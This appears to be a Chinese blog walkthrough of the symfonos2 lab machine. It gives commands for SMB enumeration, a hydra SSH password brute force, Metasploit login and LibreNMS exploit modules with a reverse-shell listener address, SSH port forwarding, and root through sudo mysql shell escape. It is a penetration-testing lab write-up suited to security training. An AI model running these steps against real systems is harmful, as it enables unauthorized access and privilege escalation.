symfonos2

最新推荐文章于 2024-08-27 16:29:55 发布

蓝天模糊

最新推荐文章于 2024-08-27 16:29:55 发布

阅读量223

点赞数 1

文章标签： android 网络安全测试工具 linux

本文链接：https://blog.csdn.net/weixin_53626662/article/details/141221890

版权

一、主机发现

二、信息收集

1.查看共享文件

smbclient -L 192.168.7.198
空密码

查看anonymous文件

smbclient //192.168.7.198/anonymous
空密码

2.下载log.txt文件

get log.txt
more log.txt //查看文件

发现aeolus用户

3.使用九头蛇爆破,，爆出密码sergioteamo

hydra -l aeolus -P 1.txt ssh://192.168.7.198

4.ssh进行连接

ssh aeolus@192.168.7.198
sergioteamo //密码

5.尝试sudo -l，有限制

三、信息利用

1.使用msf进行ssh登录

msfconsole
search ssh_login

2.使用脚本

use 0 //使用第一个
show options //查看配置

配置需要的参数

set rhosts 192.168.7.198
set username aeolus
set password sergioteamo
run

3.查看sessions

将 sessions 会话升级为一个 meterpreter 会话，使用新会话

sessions -u 1
sessions 2

4.查看网络相关信息

8080端口仅对自己开放，要进行端口转发

5.将攻击机的7788端口映射到靶机的8080端口

ssh -Nf -L 7894:127.0.0.1:8080 aeolus@192.168.7.198
netstat -tulp

6.访问本地7894端口，发现使用的是libreNMS

7.找历史漏洞

search libreNMS

使用第二个，配置参数

use 1
set password sergioteamo
set rhosts 127.0.0.1
set rport 7894
set username aeolus
set lhost 192.168.7.211 //这里是攻击机的ip
run

四、提权

1.获得交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

2.查看执行权限，sudo可以执行mysql，执行语句，提权成功

sudo -l
sudo mysql -e '\! /bin/sh'

关注